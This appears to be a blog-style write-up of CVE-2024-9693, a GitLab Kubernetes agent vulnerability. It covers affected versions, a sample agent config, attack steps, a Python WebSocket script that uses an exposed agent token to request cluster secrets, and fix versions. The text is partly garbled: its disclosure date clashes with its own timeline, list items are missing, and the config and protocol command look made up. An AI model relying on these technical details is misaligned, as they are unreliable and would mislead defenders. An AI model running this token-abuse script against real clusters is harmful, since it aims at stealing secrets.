In early 2024, GitLab disclosed a serious vulnerability (CVE-2024-9693) affecting its Community Edition (CE) and Enterprise Edition (EE) products. This vulnerability put countless Kubernetes clusters at risk. Here, we break down exactly what happened, how it could be exploited, and what you need to do to stay safe—complete with code examples and resources.

17.5 up to but not including 17.5.2

This vulnerability could allow unauthorized access to the Kubernetes agent in a connected cluster under certain configurations.

Why Does It Matter?

The Kubernetes agent lets GitLab interact with your Kubernetes cluster for CI/CD pipelines, deployments, and monitoring. If someone gains unauthorized access to this agent, they could run code or configurations—potentially taking full control of your cluster.

Digging Deeper: How Did This Happen?

The root of the problem lies in how the GitLab agent’s authentication and authorization flows worked. Under specific misconfigurations, a user without permissions could trick the agent into connecting or issuing commands, bypassing normal security controls.

Example Vulnerable Flow

Suppose you have a Kubernetes agent registered in GitLab for a cluster named internal-prod, and your configuration uses weak or default policies.

A standard (but vulnerable) agent configuration in agent.yaml might look like

# agent.yaml
apiVersion: v1
kind: Agent
metadata:
  name: internal-prod-agent
  namespace: kube-system
spec:
  server: wss://gitlab.example.com/-/kubernetes-agent/
  token: <AGENT-TOKEN>

If the binding between the agent and GitLab project isn't set up with strict permissions, an attacker could perform the following exploit:

Step 1: Finding a Weak Project

Attackers look for public GitLab projects or internal repos where agents are misconfigured. The Kubernetes agent token (<AGENT-TOKEN>) may be exposed in CI variables or configuration files.

Step 2: Abusing the Agent Endpoint

With access to the agent token, an attacker can use the agent-server WebSocket API to send commands or retrieve sensitive data. A simple Python demo:

import asyncio
import websockets

token = 'EXPOSED_AGENT_TOKEN'
url = 'wss://gitlab.example.com/-/kubernetes-agent/'

async def exploit():
    headers = {
        'Authorization': f'Bearer {token}'
    }
    async with websockets.connect(url, extra_headers=headers) as ws:
        # Send agent protocol command (e.g., list secrets)
        await ws.send('{"request":"ListSecrets"}')
        response = await ws.recv()
        print(response)

asyncio.run(exploit())

Escalate privileges further

All without being authorized or even having a GitLab account, if project visibility or token management is weak.

How Was It Fixed?

GitLab fixed the issue by:

Tightening policies for agent registration and communication

The fix is included in 17.3.7, 17.4.4, and 17.5.2 and later.

Official GitLab Advisory

- GitLab Security Release Blog
- GitLab Issue Tracker Patch Notes

References & Further Reading

- GitLab Release Notes
- GitLab Kubernetes Agent Docs
- NVD CVE-2024-9693

In Summary

CVE-2024-9693 is a critical reminder: when your GitOps tools talk to your clusters, even a small misconfiguration can have huge consequences.

If you use GitLab with Kubernetes, take this seriously. Update today, rotate your tokens, and check your permissions!

Timeline

Published on: 11/14/2024 11:15:05 UTC
Last modified on: 11/15/2024 13:58:08 UTC